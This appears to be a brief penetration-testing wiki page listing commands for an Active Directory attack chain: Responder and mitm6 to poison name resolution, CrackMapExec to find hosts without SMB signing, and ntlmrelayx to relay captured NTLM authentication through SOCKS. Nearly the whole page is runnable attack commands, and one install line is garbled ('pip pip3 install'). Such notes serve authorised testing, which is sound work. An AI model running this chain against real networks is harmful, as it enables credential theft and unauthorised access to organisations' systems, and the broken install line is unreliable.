> For the complete documentation index, see [llms.txt](https://wiki.smhuda.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.smhuda.com/pentesting/infrastructure-security/network-infrastructure/ad-attacks.md).

# AD Attacks

## 1 - Running Responder

```
./Responder.py -I eth0
```

## 2 - Mitm6 (run simeltaneous to Responder)

```
mitm6 -i eth0
```

## 3 - CrackMapExec

#### Install first

{% code overflow="wrap" %}

```
sudo add-apt-repository ppa:deadsnakes/ppa 
sudo apt update 
sudo apt install python3.8 python3.8-dev python3.8-venv 
python3.8 -m venv python3.8-venv 
source python3.8-venv/bin/activate 
pip install --upgrade 
pip pip3 install crackmapexec
```

{% endcode %}

#### Run with 1 and 2 to grab Hosts with SMB signing as false:

```
crackmapexec smb 10.2.55.0/20 --gen-relay-list relay-hosts.txt | grep "False"
```

## 4 - Run Mitm6

```
mitm6 -d evil.corp
```

## 5 - Run Ntlmrelayx with Mitm6

#### Run with 5 together for relays:

```
ntlmrelayx.py -6 -socks -smb2support -tf relay-hosts.txt
```